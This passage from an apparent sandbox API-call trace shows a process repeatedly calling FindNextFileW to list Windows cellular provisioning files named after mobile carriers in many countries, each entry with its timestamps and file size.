ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="215__C~1.PRO")) returned 1 [0123.742] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0x0, cFileName="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", cAlternateFileName="216__C~1.PRO")) returned 1 [0123.742] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", cAlternateFileName="217__C~1.PRO")) returned 1 [0123.742] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x313, dwReserved0=0x0, dwReserved1=0x0, cFileName="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", cAlternateFileName="218__C~1.PRO")) returned 1 [0123.742] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", cAlternateFileName="219__C~1.PRO")) returned 1 [0123.742] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="21__CO~1.PRO")) returned 1 [0123.742] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", cAlternateFileName="220__C~1.PRO")) returned 1 [0123.743] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x312, dwReserved0=0x0, dwReserved1=0x0, cFileName="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", cAlternateFileName="221__C~1.PRO")) returned 1 [0123.743] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="222__C~1.PRO")) returned 1 [0123.743] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="223__C~1.PRO")) returned 1 [0123.743] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", cAlternateFileName="224__C~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", cAlternateFileName="225__C~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x343, dwReserved0=0x0, dwReserved1=0x0, cFileName="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="226__C~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="227__C~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="228__C~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="229__C~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x376, dwReserved0=0x0, dwReserved1=0x0, cFileName="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", cAlternateFileName="22__CO~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", cAlternateFileName="230__C~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", cAlternateFileName="231__C~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", cAlternateFileName="232__C~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", cAlternateFileName="233__C~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="234__C~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908b0722, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908b0722, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908b0722, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="235__C~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908b0722, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908b0722, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908b0722, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x310, dwReserved0=0x0, dwReserved1=0x0, cFileName="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="236__C~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908b0722, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908b0722, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908b0722, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="237__C~1.PRO")) returned 1 [0123.746] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908d698d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908d698d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908d698d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", cAlternateFileName="238__C~1.PRO")) returned 1 [0123.747] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908d698d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908d698d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908d698d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", cAlternateFileName="239__C~1.PRO")) returned 1 [0123.747] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="23__CO~1.PRO")) returned 1 [0123.749] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908fcbf9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908fcbf9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908fcbf9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", cAlternateFileName="240__C~1.PRO")) returned 1 [0123.749] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908fcbf9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908fcbf9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908fcbf9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", cAlternateFileName="241__C~1.PRO")) returned 1 [0123.749] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90922e60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90922e60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90922e60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", cAlternateFileName="242__C~1.PRO")) returned 1 [0123.749] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90922e60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90922e60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90922e60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="243__C~1.PRO")) returned 1 [0123.749] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90922e60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90922e60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90922e60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x302, dwReserved0=0x0, dwReserved1=0x0, cFileName="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="244__C~1.PRO")) returned 1 [0123.749] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="245__C~1.PRO")) returned 1 [0123.749] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", cAlternateFileName="246__C~1.PRO")) returned 1 [0123.749] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x340, dwReserved0=0x0, dwReserved1=0x0, cFileName="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", cAlternateFileName="247__C~1.PRO")) returned 1 [0123.750] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", cAlternateFileName="248__C~1.PRO")) returned 1 [0123.750] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="249__C~1.PRO")) returned 1 [0123.750] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="24__CE~1.PRO")) returned 1 [0123.750] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0x0, cFileName="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="250__C~1.PRO")) returned 1 [0123.750] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="251__C~1.PRO")) returned 1 [0123.750] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml", 